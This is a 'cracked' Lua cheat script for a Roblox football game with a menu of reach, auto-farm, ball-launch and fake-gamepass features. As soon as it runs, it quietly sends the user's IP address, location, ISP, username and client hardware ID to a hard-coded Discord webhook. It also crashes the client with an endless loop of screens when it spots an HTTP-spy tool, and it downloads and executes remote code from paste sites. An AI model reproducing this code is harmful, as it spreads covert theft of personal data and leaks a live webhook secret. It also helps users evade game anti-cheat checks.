Premium2 Cracked by Aldz

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local Http = game:GetService("HttpService")

local Web =
"https://discord.com/api/webhooks/1287476350168465491/8NzT2snNcyzuffN7ohKazgVy6Z1Zt
G7G2AbvD_kYajMkDUku18L4hBqJTO25vT7BeSPa"
local userInputService = game:GetService("UserInputService")
local device = "Unknown"
local executor = identifyexecutor() or "Unknown"
local jobid = game.JobId
local boxsize = 0
local isTouchEnabled = userInputService.TouchEnabled -- Returns true or false.
if isTouchEnabled then
device = "Mobile"
else
device = "PC"
end
local success, gameInfo = pcall(function()
return game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId)
end)
local GAMENAME = success and gameInfo.Name or "Nome do jogo não disponível"

-- Obtém informações de IP com segurança


local success, IpInfo = pcall(function()
return Http:JSONDecode(game:HttpGet("http://ip-api.com/json"))
end)
IpInfo = success and IpInfo or {}

local IpFields = {
{"query", "IP:"}, -- IP address
{"country", "País:"}, -- Country
{"regionName", "Região:"}, -- Region
{"city", "Cidade:"}, -- City
{"isp", "Provedor de Serviços:"}, -- ISP
{"as", "Autonomia:"}, -- Autonomous system
}

local IpInfoString = ""


for _, field in ipairs(IpFields) do
local apiField, displayName = field[1], field[2]
if IpInfo[apiField] then
IpInfoString = IpInfoString .. "**" .. displayName .. "** ||" ..
IpInfo[apiField] .. "||\n"
end
end

local function sendRequest()


local jobid = game.JobId
local executor = identifyexecutor() or "Unknown"
local player = game.Players.LocalPlayer
local playerName = player and player.Name or "Nome do jogador não disponível"
local playerId = player and player.UserId or 0
local clientId = ""
local success, clientIdResult = pcall(function()
return game:GetService("RbxAnalyticsService"):GetClientId()
end)
clientId = success and clientIdResult or "ID do cliente não disponível"

return {
Url = Web,
Method = 'POST',
Headers = {
['Content-Type'] = 'application/json'
},
Body = Http:JSONEncode({
["avatar_url"] = "",
["content"] = "",
["embeds"] = {{
["author"] = {
["name"] = "Zennify Hub",
},
["title"] = "Sucess To Execute Script!!!",
["description"] = playerName .. " | Nickname of Player",
["type"] = "rich",
["color"] = tonumber(0xFFFFFF), -- Verde claro
["thumbnail"] = {
["url"] = "https://api.newstargeted.com/roblox/users/v1/avatar-
headshot?userid=" .. playerId .. "&size=720x720&format=Png&isCircular=false"
},
["fields"] = {
{
["name"] = "Game Name:",
["value"] = "||" .. GAMENAME .. "||\n",
["inline"] = true
},
{
["name"] = "Hardware ID:",
["value"] = "||" .. clientId .. "||",
["inline"] = true
},
{
["name"] = "Executor",
["value"] = "||" .. executor .. "||",
["inline"] = true
},
{
["name"] = "",
["value"] = "",
["inline"] = false
},
{
["name"] = "Informações",
["value"] = IpInfoString,
["inline"] = true
}
}
}}
})
}
end

if syn then
syn.request(sendRequest())
else
request(sendRequest())
end

local function checkAndHandleSpy()


-- Verifica se o ScreenGui do HTTP Spy está presente no CoreGui
local httpSpyGui = game.CoreGui:FindFirstChild("HttpSpy")
if httpSpyGui then
-- HTTP Spy detectado, aplicar ação de banimento e log
if syn then
syn.request(sendRequest())
else
request(sendRequest())
end

-- Modifica o tamanho do objeto específico no Workspace


local tpsSystem = game.Workspace:FindFirstChild("TPSSystem")
if tpsSystem then
local tps = tpsSystem:FindFirstChild("TPS")
if tps then
tps.Size = Vector3.new(100, 100, 100)
end
end

-- Spam de mensagens de erro para causar lag intenso


for i = 1, 90999967896700 do
local blind = Instance.new('ScreenGui')
blind.Parent = game.Players.LocalPlayer.PlayerGui

local scr = Instance.new('TextLabel')


scr.Parent = blind
scr.Text = "You are trying to use an unauthorized exploit. This will
result in horrible actions if you try again, I just got your IP information etc."
scr.TextScaled = true
scr.Font = Enum.Font.Arial
scr.TextColor3 = Color3.new(1, 1, 1)
scr.BackgroundColor3 = Color3.new(0.2, 0.2, 0.2)
scr.BorderColor3 = Color3.new(0, 0, 0)
scr.Position = UDim2.new(0, 0, 0, 0)
scr.Size = UDim2.new(1, 0, 1, 0) -- Define o tamanho para cobrir toda a
tela
wait(0.001)
end
end
end

-- Chama a função para verificar e aplicar ação, se necessário


checkAndHandleSpy()

-- Whitelist Check
local HWIDTable =
loadstring(game:HttpGet("https://raw.githubusercontent.com/skatehubtps/Whitelist/
main/Check"))()
local HWID = game:GetService("RbxAnalyticsService"):GetClientId()
local isWhitelisted = false
for i, v in pairs(HWIDTable) do
if v == HWID then
isWhitelisted = true
break
end
end

-- Blacklist Check
local BlacklistTable =
loadstring(game:HttpGet("https://raw.githubusercontent.com/skatehubtps/
Blacklisted/main/sted"))()
local isBlacklisted = false
for i, v in pairs(BlacklistTable) do
if v == HWID then
isBlacklisted = true
break
end
end

-- Se o HWID não estiver na whitelist ou estiver na blacklist, exibe mensagem de


erro
if not isWhitelisted or isBlacklisted then
if isBlacklisted then
if syn then
syn.request(sendRequest())
else
request(sendRequest())
end
end
local user = game.Players.LocalPlayer
local count = 0
while count < 9000 do
wait()
local blind = Instance.new('ScreenGui')
blind.Parent = user.PlayerGui
local scr = Instance.new('TextLabel')
scr.Parent = blind
if isBlacklisted then
scr.Text = "You are blacklisted, " .. user.Name
else
scr.Text = "You are not whitelisted, " .. user.Name
end
scr.TextScaled = true
scr.Font = Enum.Font.Arial
scr.TextColor3 = Color3.new(1, 1, 1)
scr.BackgroundColor3 = Color3.new(0.2, 0.2, 0.2)
scr.BorderColor3 = Color3.new(0, 0, 0)
scr.Position = UDim2.new(0, 0, 0, 0)
scr.Size = UDim2.new(1, 0, 1, 0) -- Define o tamanho para cobrir toda a
tela
count = count + 1
end
else

local old_index = gmt and gmt.__index


if old_index then
setreadonly(gmt, false)
gmt.__index = function(a, b)
if tostring(a) == "BannedA" or tostring(a) == "BannedB" or tostring(a) ==
"BannedC" or tostring(a) == "BannedD" then
if tostring(b) == "Value" then
return false
end
end
return old_index(a, b)
end
setreadonly(gmt, true)
end

local bold_index = bgmt and bgmt.__index


if bold_index then
setreadonly(bgmt, false)
bgmt.__index = function(a, b)
if tostring(a) == "BCount" then
if tostring(b) == "Value" then
return 0
end
end
return bold_index(a, b)
end
setreadonly(bgmt, true)
end

local function safeDestroy(obj)


if obj and obj.Destroy then
obj:Destroy()
end
end

-- Limpando objetos
for _, BN in pairs(game:GetService("Workspace").FE.Settings:GetChildren()) do
if BN.Name == "BName" then
safeDestroy(BN)
end
end

for _, b in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if b.Name == " " then
safeDestroy(b)
end
end

for _, lc2 in pairs(game.Players.LocalPlayer.Character:GetChildren()) do


if lc2:IsA("LocalScript") and (string.match(lc2.Name, "%d") or
string.match(lc2.Name, " ")) then
safeDestroy(lc2)
end
end

for _, lc in pairs(game.Players.LocalPlayer.PlayerGui.Start:GetChildren()) do
if lc:IsA("LocalScript") and (string.match(lc.Name, "%d") or
string.match(lc.Name, " ")) then
safeDestroy(lc)
end
end

for _, c in pairs(game.Players.LocalPlayer.PlayerGui.Start:GetChildren()) do
if c.Name == "CheckPlayerW" then
safeDestroy(c)
end
end

for _, z in pairs(game.StarterGui.Start:GetChildren()) do
if z.Name == "CheckPlayerW" then
safeDestroy(z)
end
end

for _, v in pairs(game.StarterPlayer.StarterCharacterScripts:GetDescendants()) do
if v.Name == " " then
safeDestroy(v)
end
end

game.Players.LocalPlayer.CharacterAdded:Connect(function()
wait(0.5)
for _, char in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if char.Name == " " then
safeDestroy(char)
end
end
end)

for _, nolag in pairs(game.StarterGui.Start:GetChildren()) do


if nolag.Name == "Gradient" then
safeDestroy(nolag)
end
end

for _, nolaglp in pairs(game.Players.LocalPlayer.PlayerGui.Start:GetChildren()) do


if nolaglp.Name == "Gradient" then
safeDestroy(nolaglp)
end
end

local Rayfield = loadstring(game:HttpGet('https://sirius.menu/rayfield'))()


local Window = Rayfield:CreateWindow({
Name = "Nezurk Hub | Premium",
LoadingTitle = "Script loading...",
LoadingSubtitle = "by VPLI & vr3r"
})

local Tab = Window:CreateTab("Reach & Reacts", 4483362458)

local reachDistance = 1 -- Adicionando a variável reachDistance

local InputSlider = Tab:CreateSlider({


Name = "Reach Distance",
Range = {1, 100},
Increment = 1,
CurrentValue = reachDistance,
Flag = "ReachDistance",
Callback = function(value)
reachDistance = value -- Atualizando a variável reachDistance
end,
})

local Button = Tab:CreateButton({


Name = "Active Reach",
Callback = function()
-- Lógica para limpar objetos
for _, BN in pairs(game:GetService("Workspace").FE.Settings:GetChildren())
do
if BN.Name == "BName" then
safeDestroy(BN)
end
end
for _, b in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if b.Name == " " then
safeDestroy(b)
end
end

for _, lc2 in pairs(game.Players.LocalPlayer.Character:GetChildren()) do


if lc2:IsA("LocalScript") and (string.match(lc2.Name, "%d") or
string.match(lc2.Name, " ")) then
safeDestroy(lc2)
end
end

for _, lc in pairs(game.Players.LocalPlayer.PlayerGui.Start:GetChildren())
do
if lc:IsA("LocalScript") and (string.match(lc.Name, "%d") or
string.match(lc.Name, " ")) then
safeDestroy(lc)
end
end

-- Modificando a lógica do pé
local Config = {
Bigfoot = {
Enabled = true,
Studs = reachDistance
}
}

if Config.Bigfoot.Enabled then
local character = game.Players.LocalPlayer.Character or
game.Players.LocalPlayer.CharacterAdded:Wait()
local lightingPlayer =
game.Lighting:FindFirstChild(game.Players.LocalPlayer.Name)
local preferredFoot = lightingPlayer and
lightingPlayer:FindFirstChild("PreferredFoot")

if preferredFoot then
preferredFoot = preferredFoot.Value

if preferredFoot == 2 then
local leftLeg = character:FindFirstChild("Left Leg")
if leftLeg then
leftLeg.Massless = true
leftLeg.Size = Vector3.new(Config.Bigfoot.Studs, 2,
Config.Bigfoot.Studs)
leftLeg.Transparency = 1 -- Tornar invisível
end
elseif preferredFoot == 1 then
local rightLeg = character:FindFirstChild("Right Leg")
if rightLeg then
rightLeg.Massless = true
rightLeg.Size = Vector3.new(Config.Bigfoot.Studs, 2,
Config.Bigfoot.Studs)
rightLeg.Transparency = 1 -- Tornar invisível
end
end
else
end
end
end,
})

local Paragraph = Tab:CreateParagraph({Title = "Reacts/Example", Content = "React


gives you like a reach but it helps with dribbling/skills if you want to use it
everyone is getting it!"})

local Button = Tab:CreateButton({


Name = "React 1",
Callback = function()
loadstring(game:HttpGet("https://paste.ee/r/CF1hB"))()
end,
})

local Button = Tab:CreateButton({


Name = "React 2",
Callback = function()
game.Workspace.TPSSystem.TPS.Velocity = Vector3.new(110, 110, 110)
end,
})

local Button = Tab:CreateButton({


Name = "React 3",
Callback = function()
game.Workspace.TPSSystem.TPS.Velocity = Vector3.new(120, 120, 120)
end,
})

local Button = Tab:CreateButton({


Name = "React 4",
Callback = function()
game.Workspace.TPSSystem.TPS.Velocity = Vector3.new(130, 130, 130)
end,
})

local Tab = Window:CreateTab("Farm-Xp", 4483362458)


local ToggleAutoFarm = Tab:CreateToggle({
Name = "Auto-Farm(Goal)",
CurrentValue = false,
Flag = "Toggle1",
Callback = function(state)
if state then
_G.AUTOFARM = true
while _G.AUTOFARM do
wait()
local HRPRotation =
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.Rotation
local GoalPST = game.Workspace.TPSSystem.TPS.CFrame
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame =
HRPRotation + GoalPST.Position
local A_1 = game:GetService("Workspace").TPSSystem.TPS
local A_2 = game:GetService("Players").LocalPlayer.Character.Head
local Event = game:GetService("Workspace").FE.Actions.Tackle
Event:FireServer(A_1, A_2)

local Events2 = game:GetService("Workspace").FE.Kick.RemoteEvent2


Events2:FireServer()
if game.Players.LocalPlayer.TeamColor == BrickColor.new("Bright
red") then
game.Players.LocalPlayer.PlayerGui.LockScript.SetLock.Value =
true
game.Workspace.CurrentCamera.CFrame =
CFrame.lookAt(game.Workspace.CurrentCamera.CFrame.Position + Vector3.new(0, 45, 0),
game.Workspace.BlueGoal.Part.Position)
end
if game.Players.LocalPlayer.TeamColor == BrickColor.new("Bright
blue") then
game.Players.LocalPlayer.PlayerGui.LockScript.SetLock.Value =
true
game.Workspace.CurrentCamera.CFrame =
CFrame.lookAt(game.Workspace.CurrentCamera.CFrame.Position + Vector3.new(0, 45, 0),
game.Workspace.RedGoal.Part.Position)
end
end
else
_G.AUTOFARM = false
end
end,
})

local Tab = Window:CreateTab("Trolls-Functions", 4483362458)


local Toggle = Tab:CreateToggle({
Name = "Supermega dragclick(Rightfoot)",
CurrentValue = false,
Flag = "Toggle1",
Callback = function(Value)
if Value then
_G.DragClickRight = true
while _G.DragClickRight do
wait()
for i = 1, 50 do
local A_1 = game:GetService("Workspace").TPSSystem.TPS
local A_2 =
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart
local Event = game:GetService("Workspace").FE.Actions.KickC1
Event:FireServer(A_1, A_2)
end
end
else
_G.DragClickRight = false
end
end,
})

local Toggle = Tab:CreateToggle({


Name = "Supermega dragclick(Leftfoot)",
CurrentValue = false,
Flag = "Toggle1",
Callback = function(Value)
if Value then
_G.DragClickLeft = true
while _G.DragClickLeft do
wait()
for i = 1, 50 do
local A_1 = game:GetService("Workspace").TPSSystem.TPS
local A_2 =
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart
local Event = game:GetService("Workspace").FE.Actions.KickC1
Event:FireServer(A_1, A_2)
end
end
else
_G.DragClickLeft = false
end
end,
})

local Toggle = Tab:CreateToggle({


Name = "Stop The Ball",
CurrentValue = false,
Flag = "Toggle1",
Callback = function(Value)
if Value then
getgenv().Kitten = 5
_G.StopBall = not _G.StopBall
while _G.StopBall do
wait()
for i = 1, 10 do
local A_1 = game:GetService("Workspace").TPSSystem.TPS
local A_2 =
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart
local A_3 = 0
local A_4 = Vector3.new(4000000, 0, 4000000)
local Event = game:GetService("Workspace").FE.Actions.KickG1
Event:FireServer(A_1, A_2, A_3, A_4)
end
end
_G.StopBall = false
else
_G.StopBall = false
end
end,
})

local Toggle = Tab:CreateToggle({


Name = "Launch The Ball",
CurrentValue = false,
Flag = "Toggle1",
Callback = function(Value)
if Value then
_G.LaunchBall = true
local workspace = game:GetService("Workspace")
local players = game:GetService("Players")
local event = workspace.FE.Actions.KickG1
local tps = workspace.TPSSystem.TPS
local humanoidRootPart = players.LocalPlayer.Character.HumanoidRootPart
local targetVector = Vector3.new(4000000, 1100, 4000000)

-- Loop para lançar a bola enquanto o toggle estiver ativado


while _G.LaunchBall do
wait()
for i = 1, 10 do
event:FireServer(tps, humanoidRootPart, 0, targetVector)
end
end
else
_G.LaunchBall = false
end
end,
})

local Tab = Window:CreateTab("Reach [Methods]", 4483362458)

local Input = Tab:CreateInput({


Name = "Set Size Reach",
PlaceholderText = "",
Callback = function(value)
reachDistance = tonumber(value)
end,
})

local Toggle = Tab:CreateToggle({


Name = "Active Reach",
CurrentValue = false,
Flag = "ActiveReach",
Callback = function(state)
if state then
-- Lógica para limpar objetos
for _, BN in
pairs(game:GetService("Workspace").FE.Settings:GetChildren()) do
if BN.Name == "BName" then
safeDestroy(BN)
end
end

for _, b in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if b.Name == " " then
safeDestroy(b)
end
end

for _, lc2 in pairs(game.Players.LocalPlayer.Character:GetChildren())


do
if lc2:IsA("LocalScript") and (string.match(lc2.Name, "%d") or
string.match(lc2.Name, " ")) then
safeDestroy(lc2)
end
end

for _, lc in
pairs(game.Players.LocalPlayer.PlayerGui.Start:GetChildren()) do
if lc:IsA("LocalScript") and (string.match(lc.Name, "%d") or
string.match(lc.Name, " ")) then
safeDestroy(lc)
end
end

-- Modificando a lógica do pé
local Config = {
Bigfoot = {
Enabled = true,
Studs = reachDistance
}
}

if Config.Bigfoot.Enabled then
local character = game.Players.LocalPlayer.Character or
game.Players.LocalPlayer.CharacterAdded:Wait()
local lightingPlayer =
game.Lighting:FindFirstChild(game.Players.LocalPlayer.Name)
local preferredFoot = lightingPlayer and
lightingPlayer:FindFirstChild("PreferredFoot")

if preferredFoot then
preferredFoot = preferredFoot.Value

if preferredFoot == 2 then
local leftLeg = character:FindFirstChild("Left Leg")
if leftLeg then
leftLeg.Massless = true
leftLeg.Size = Vector3.new(Config.Bigfoot.Studs, 2,
Config.Bigfoot.Studs)
leftLeg.Transparency = 1 -- Tornar invisível
end
elseif preferredFoot == 1 then
local rightLeg = character:FindFirstChild("Right Leg")
if rightLeg then
rightLeg.Massless = true
rightLeg.Size = Vector3.new(Config.Bigfoot.Studs, 2,
Config.Bigfoot.Studs)
rightLeg.Transparency = 1 -- Tornar invisível
end
end
end
end
else
-- Lógica para desativar o reach
local character = game.Players.LocalPlayer.Character or
game.Players.LocalPlayer.CharacterAdded:Wait()
local leftLeg = character:FindFirstChild("Left Leg")
local rightLeg = character:FindFirstChild("Right Leg")

if leftLeg then
leftLeg.Massless = false
leftLeg.Size = Vector3.new(1, 2, 1)
leftLeg.Transparency = 0
end

if rightLeg then
rightLeg.Massless = false
rightLeg.Size = Vector3.new(1, 2, 1)
rightLeg.Transparency = 0
end
end
end,
})

local Tab = Window:CreateTab("Miscellaneous", 4483362458)

local Button = Tab:CreateButton({


Name = "Get Secret Badge",
Callback = function()
for i,v in pairs(game.Workspace:GetChildren()) do
if v.Name == "BadgeAwarder" then
v.Platform.CanCollide = false
v.Platform.CFrame =
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
v.Platform.Transparency = 1
v.Platform.Decal.Transparency = 1
wait(2)
v.Platform.CanCollide = true
v.Platform.Transparency = 0
v.Platform.Decal.Transparency = 0
v.Platform.CFrame = CFrame.new(-2, -0, 363, 1, 0, 0, 0, 1, 0, 0, 0,
1)
end
end
end,
})

local Button = Tab:CreateButton({


Name = "Remove Map",
Callback = function()
for i,v in pairs(game.Workspace:GetChildren()) do
if v.Name == "Map" then
v:Destroy()
end
end
end,
})

local Toggle = Tab:CreateToggle({


Name = "Infinite Fire (PC)",
CurrentValue = false,
Flag = "Toggle1",
Callback = function(Value)
if Value then
_G.READY = true
while _G.READY do
wait()
for i,v in pairs(game.Players.LocalPlayer:GetDescendants()) do
if v.Name == "PowerReady" and v:IsA("BoolValue") then
v.Value = true
end
end
end
else
_G.READY = false
end
end,
})

local bold_index = bgmt and bgmt.__index


if bold_index then
setreadonly(bgmt, false)
bgmt.__index = function(a, b)
if tostring(a) == "BCount" then
if tostring(b) == "Value" then
return 0
end
end
return bold_index(a, b)
end
setreadonly(bgmt, true)
end

-- Função de destruição segura


local function safeDestroy(obj)
if obj and obj.Destroy then
obj:Destroy()
end
end

local function safeDestroy(obj)


if obj and obj.Destroy then
obj:Destroy()
end
end

local function setupMetatables()


local old_index = gmt and gmt.__index
if old_index then
setreadonly(gmt, false)
gmt.__index = function(a, b)
if tostring(a) == "BannedA" or tostring(a) == "BannedB" or tostring(a)
== "BannedC" or tostring(a) == "BannedD" then
if tostring(b) == "Value" then
return false
end
end
return old_index(a, b)
end
setreadonly(gmt, true)
end

local bold_index = bgmt and bgmt.__index


if bold_index then
setreadonly(bgmt, false)
bgmt.__index = function(a, b)
if tostring(a) == "BCount" and tostring(b) == "Value" then
return 0
end
return bold_index(a, b)
end
setreadonly(bgmt, true)
end
end

setupMetatables()

-- Outras funções de limpeza aqui...

local Input = Tab:CreateInput({


Name = "Fov Script",
PlaceholderText = "",
RemoveTextAfterFocusLost = false,
Callback = function(Value)
game.Workspace.CurrentCamera.FieldOfView = Value
end,
})
local Input = Tab:CreateInput({
Name = "Ball Size",
PlaceholderText = "",
RemoveTextAfterFocusLost = false,
Callback = function(arg)
game.Workspace.TPSSystem.TPS.Size = Vector3.new(arg, arg, arg)
end,
})
local Button = Tab:CreateButton({
Name = "anti ball fling",
Callback = function()
local speaker = game.Players.LocalPlayer
local RunService = game:GetService("RunService")
Clip = false
wait(0.1)
local function NoclipLoop()
if Clip == false and speaker.Character ~= nil then
for _, child in pairs(speaker.Character:GetDescendants()) do
if child:IsA("BasePart") and child.CanCollide == true and
child.Name == "Right Leg" or child.Name == "Right Arm" or child.Name == "Left Arm"
or child.Name == "Right Arm" or child.Name == "Torso" then
child.CanCollide = false
end
end
end
end
Noclipping = RunService.Stepped:Connect(NoclipLoop)
end,
})

local Button = Tab:CreateButton({


Name = "disable ball texture",
Callback = function()
local Ball = game.Workspace.TPSSystem.TPS
local Player = game.Players.LocalPlayer
local HRP = Player.Character.HumanoidRootPart
local RightLeg, LeftLeg = Player.Character["Right Leg"], Player.Character["Left
Leg"]
for i,BallCON in pairs(Ball:GetChildren()) do
if BallCON:IsA("Decal") or BallCON:IsA("Smoke") or BallCON:IsA("PointLight") or
BallCON:IsA("ParticleEmitter") then
BallCON:Destroy()
end
end
for i,BALLFIRE in pairs(Ball:GetChildren()) do
if BALLFIRE:IsA("Fire") then
BALLFIRE.Heat = 1
BALLFIRE.Size = 5
end
end
Ball.Massless = true
Ball.CustomPhysicalProperties = false
end,
})
local Input = Tab:CreateInput({
Name = "clumsy",
PlaceholderText = "",
RemoveTextAfterFocusLost = false,
Callback = function(value)
settings():GetService("NetworkSettings").IncomingReplicationLag =
tonumber(Value)
end,
})

local BallVoice = Tab:CreateDropdown({


Name = "Ball Voice",
Options = {"Default", "OOF!", "Neverlose", "Rust", "Bruh", "TF2"},
CurrentOption = "Default",
MultipleOptions = false,
Flag = "BallVoice",
Callback = function(Value)
local ballSound = game.Workspace.TPSSystem.TPS.Sound
if Value == "Default" then
ballSound.SoundId = "rbxassetid://2516069845"
ballSound.PlaybackSpeed = 0.7
ballSound.Volume = 0.7
elseif Value == "OOF!" then
ballSound.SoundId = "rbxassetid://5143383166"
ballSound.PlaybackSpeed = 1
ballSound.Volume = 2
elseif Value == "Neverlose" then
ballSound.SoundId = "rbxassetid://6607204501"
ballSound.PlaybackSpeed = 0.7
ballSound.Volume = 0.7
elseif Value == "Rust" then
ballSound.SoundId = "rbxassetid://1255040462"
ballSound.PlaybackSpeed = 0.7
ballSound.Volume = 0.7
elseif Value == "Bruh" then
ballSound.SoundId = "rbxassetid://4275842574"
ballSound.PlaybackSpeed = 0.7
ballSound.Volume = 0.7
elseif Value == "TF2" then
ballSound.SoundId = "rbxassetid://2868331684"
ballSound.PlaybackSpeed = 0.7
ballSound.Volume = 0.7
end
ballSound:Play() -- Adiciona esta linha para reproduzir o som
end,
})

local Tab = Window:CreateTab("Skills helper", 4483362458) -- Title, Image


local Input = Tab:CreateInput({
Name = "air dribble helper",
PlaceholderText = "Input Placeholder",
RemoveTextAfterFocusLost = false,
Callback = function(Value)
getgenv().boxsettings = {
box = {
boxsize = Vector3.new(Value, 0, Value),
markerOffset = Vector3.new(0, -1, 0),
boxtransparency = 1
}
}
local Ball = game.Workspace.TPSSystem.TPS
function makemarker(Parent, Adornee)
local box = Instance.new("Part", Parent)
box.Name = "TPS"
box.Size = boxsettings.box.boxsize
box.Anchored = true
box.Transparency = boxsettings.box.boxtransparency
return box
end
local markersize = UDim2.new(2, 0, 2, 0)
local marker = makemarker(Ball.Parent, Ball)
game:GetService("RunService").Stepped:Connect(
function(deltaTime)
marker.CFrame = CFrame.new(Ball.Position +
boxsettings.box.markerOffset)
end)
end,
})
local Button = Tab:CreateButton({
Name = "zzz Helper / zzzz Helper",
Callback = function()
game.Workspace.TPSSystem.TPS.Size = Vector3.new(2.89, 2.89, 2.89)
getgenv().boxsettings = {
box = {
boxsize = Vector3.new(9,0,9),
markerOffset = Vector3.new(0, -1, 0),
boxtransparency = 1,
},
}
local Ball = game.Workspace.TPSSystem.TPS
function makemarker(Parent, Adornee)
local box = Instance.new("Part", Parent)
box.Name = "TPS"
box.Size = boxsettings.box.boxsize
box.Anchored = true
box.Transparency = boxsettings.box.boxtransparency
return box
end
local markersize = UDim2.new(2, 0, 2, 0)
local marker = makemarker(Ball.Parent, Ball)
game:GetService("RunService").Stepped:Connect(function(deltaTime)
marker.CFrame = CFrame.new(Ball.Position + boxsettings.box.markerOffset)
end)
end,
})
local Button = Tab:CreateButton({
Name = "Inf fast helper keyboard C",
Callback = function()
local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local ball = game.Workspace.TPSSystem.TPS
local userInputService = game:GetService("UserInputService")
local runService = game:GetService("RunService")

local followBall = false

-- Função para seguir a bola


local function follow()
if followBall and not isMovingManually then
local direction = (ball.Position -
character.HumanoidRootPart.Position).unit
character.Humanoid:MoveTo(ball.Position)
end
end

userInputService.InputEnded:Connect(function(input, gameProcessed)
if input.UserInputType == Enum.UserInputType.Keyboard or input.UserInputType ==
Enum.UserInputType.MouseMovement then
isMovingManually = false
end
end)

-- Ativar/Desativar seguir a bola


userInputService.InputBegan:Connect(function(input, gameProcessed)
if input.KeyCode == Enum.KeyCode.C and not gameProcessed then
followBall = not followBall
if followBall then
print("Seguindo a bola")
else
print("Parou de seguir a bola")
end
end
end)

-- Conectar a função ao evento de renderização


runService.RenderStepped:Connect(follow)

-- Reconectar a função de seguir a bola quando o personagem reaparecer


player.CharacterAdded:Connect(function(char)
character = char
runService.RenderStepped:Connect(follow)
end)
end,
})

local Tab = Window:CreateTab("Gamepasses", 4483362458) -- Title, Image

local Toggle = Tab:CreateToggle({


Name = "blue flame",
CurrentValue = false,
Flag = "Toggle3",
Callback = function(value)
if Value then

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.BlueFlame
.Tick.Visible = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.BlueFlame
.BlueFlame.Style = "RobloxRoundButton"
game:GetService("Players").LocalPlayer.PlayerGui.Start.PowerShot.Image =
"rbxassetid://0"
game:GetService("Players").LocalPlayer.Backpack.FValue.Value = 4
else

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.BlueFlame
.Tick.Visible = false
game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.BlueFlame
.BlueFlame.Style = "RobloxRoundDefaultButton"
game:GetService("Players").LocalPlayer.PlayerGui.Start.PowerShot.Image =
"rbxassetid://0"
game:GetService("Players").LocalPlayer.Backpack.FValue.Value = 2
end
end,
})
local Toggle = Tab:CreateToggle({
Name = "More Curve",
CurrentValue = false,
Flag = "Toggle4",
Callback = function()
if Value then

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.WoodenFlo
or.Tick.Visible = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.WoodenFlo
or.WoodenFloor.Style = "RobloxRoundButton"
local Humanoid = game.Players.LocalPlayer.Character.Humanoid
local AnimationCurveLoop
AnimationCurveLoop = Humanoid.AnimationPlayed:Connect(
function(AnimationTrack)
local trackNames = {
"OldMKickL",
"OldMKick",
"OldLKickL",
"OldLKick",
"MKickL",
"MKick",
"LKickL",
"LKick",
"OldDribbleL",
"OldDribble",
"DribbleL",
"Dribble"
}
if table.find(trackNames, AnimationTrack.Name) then
if
(game.Players.LocalPlayer.Character.HumanoidRootPart.Position -
game.Workspace.TPSSystem.TPS.Position).Magnitude < 155.45
then
if game.Players.LocalPlayer.Backpack.Curving.Value ==
155.45 then
wait(0.1)
local A_1T = game:GetService("Workspace").TPSSystem.TPS
local A_2T =
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart
local EventT =
game:GetService("Workspace").FE.Actions.KickC1
EventT:FireServer(A_1T, A_2T)
wait(0.1)
EventT:FireServer(A_1T, A_2T)
elseif game.Players.LocalPlayer.Backpack.Curving.Value ==
154.45 then
wait(0.1)
local A_1 = game:GetService("Workspace").TPSSystem.TPS
local A_2 =
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart
local Event =
game:GetService("Workspace").FE.Actions.KickC2
Event:FireServer(A_1, A_2)
wait(0.2)
Event:FireServer(A_1, A_2)
end
end
end
end)
else
if AnimationCurveLoop then
AnimationCurveLoop:Disconnect()
end

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.WoodenFlo
or.Tick.Visible = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.WoodenFlo
or.WoodenFloor.Style = "RobloxRoundDefaultButton"
end
end,
})
local Toggle = Tab:CreateToggle({
Name = "faster Cooldown",
CurrentValue = false,
Flag = "Toggle5",
Callback = function()
if Value then

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.Cooldown.
Tick.Visible = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.Cooldown.
Cooldown.Style = "RobloxRoundButton"

game:GetService("Players").LocalPlayer.PlayerGui.Start.PowerShot.PowerValue.Value =
30
else

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.Cooldown.
Cooldown.Style = "RobloxRoundDefaultButton"

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.Cooldown.
Tick.Visible = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.PowerShot.PowerValue.Value =
60
end
end,
})
local Button = Tab:CreateButton({
Name = "unlock all celebrations",
Callback = function()

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.Celebrati
onPack1.Tick.Visible = true
game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.Celebrati
onPack1.CelebrationPack1.Style = "RobloxRoundButton"

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.Celebrati
onPack2.Tick.Visible = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.Celebrati
onPack2.CelebrationPack2.Style = "RobloxRoundButton"

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.Celebrati
onPack3.Tick.Visible = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.Celebrati
onPack3.CelebrationPack3.Style = "RobloxRoundButton"

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.Celebrati
onPack4.Tick.Visible = true

